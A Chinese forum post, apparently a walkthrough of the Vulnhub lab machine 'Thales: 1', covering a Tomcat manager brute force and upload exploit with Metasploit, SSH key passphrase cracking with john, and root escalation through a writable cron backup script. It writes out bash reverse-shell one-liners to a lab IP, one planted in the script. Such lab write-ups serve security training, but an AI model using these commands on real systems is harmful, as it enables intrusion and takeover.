Happiness 发表于 2023-12-18 10:29:16

Vulnhub 靶机篇:Thales:1

本帖最后由 Happiness 于 2023-12-18 10:29 编辑


0x01 靶机信息
名称:Thales: 1
发布日期:2021 年 10 月 16 日
作者:(https://www.vulnhub.com/author/machineboy,723/)
系列:Thales
难度:中等
简介:睁开你的眼睛,改变你的观点。包括 2 个标志:user.txt 和 root.txt。
下载链接: (https://download.vulnhub.com/thales/Thales.zip)
MD5:3645DD82FF243CE57F245EBEB83055DC
网络:DHCP自动分配
0x02 Write-Up2.1 主机发现nping --arp 192.168.181.0/24 | grep at--arp 使用arp模式目标机IP:192.168.181.142

2.2 端口扫描hping3 192.168.181.142 --scan 1-65523 -S--scan 扫描模式(端口),-S SYN模式扫描出两个端口,22和8080

查看网页是tomcat,点击管理页面

需要用户密码登录

在没有其他提示的情况下,优先尝试爆破tomcat用户和密码
2.3 msf模块爆破tomcat账户search tomcat查找tomcat相关模块找到tomcat_mgr_login模块

use auxiliary/scanner/http/tomcat_mgr_login use 使用模块 options 查看模块的功能配置我们需要配置RHOSTS,目标地址

设置完,输入exploit启动set verbose false不显示错误消息这里因为作者使用默认账户密码,所以没有更换字典,使用的是默认字典tomcat_mgr_defalt_pass.txt,利用set PASS_FILE可以更换,爆破出账户密码,tomcat:role1

登录后台

登录成功,查看其他管理页面

这里有一个文件上传可以利用

2.4 利用文件上传获取shell利用msf的tomcat_mgr_upload模块上传反弹shell设置模块配置
set RHOSTS 192.168.181.142
设置目标地址
set HttpPassword role1
设置密码
set HttpUsername tomcat
设置用户名
set rport 8080
设置端口

exploit执行获取meterpretershell在thales家目录下发现一段话,并提示我们有一个backup.sh脚本

I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.翻译:我为你准备了一个备份脚本。该脚本位于“/usr/local/bin/backup.sh”目录中。祝你好运。脚本会定期创建备份文件,并且我们有权限修改

backup.sh内容
#!/bin/bash
####################################
# Backup to NFS mount script.
# What to backup.
backup_files="/opt/tomcat/"

# Where to backup to.
dest="/var/backups"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

# Long listing of files in $dest to check file sizes.
ls -lh $dest因为在meterpreter shell下很多命令无法执行,我们退上层继续观察发现了user.txt (无权限) 和一个ssh私钥

下载私钥破解ssh密码download id_rsa /var/tmp下载私钥

2.5 利用john破解ssh密码ssh2john id_rsa > id_rsa.hash格式化为john可读的格式john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash--wordlist指定字典破解用户thales密码为:vodka06

2.6 利用meterpreter shell 反弹shell到本机执行bash反弹shellbash 先进入bash,否则会失败bash -i >& /dev/tcp/192.168.181.136/5555 0>&1

2.7 反弹全交互式shell1. python3 -c 'import pty;pty.spawn("/bin/bash")' 然后按Ctrl+Z
2. stty raw -echo;fg 然后按回车两次
3. export=xterm

登录用户thales,成功拿到user的flag

这次可以直观的看到backup.sh是root的文件,我们是可编辑的

写入反弹shell等待执行bash -i >& /dev/tcp/192.168.181.136/6666 0>&1

2.8 提权至root成功获取root权限,得到flag

backup.sh 是root的计划任务 每五分钟执行一次






页: [1]
查看完整版本: Vulnhub 靶机篇:Thales:1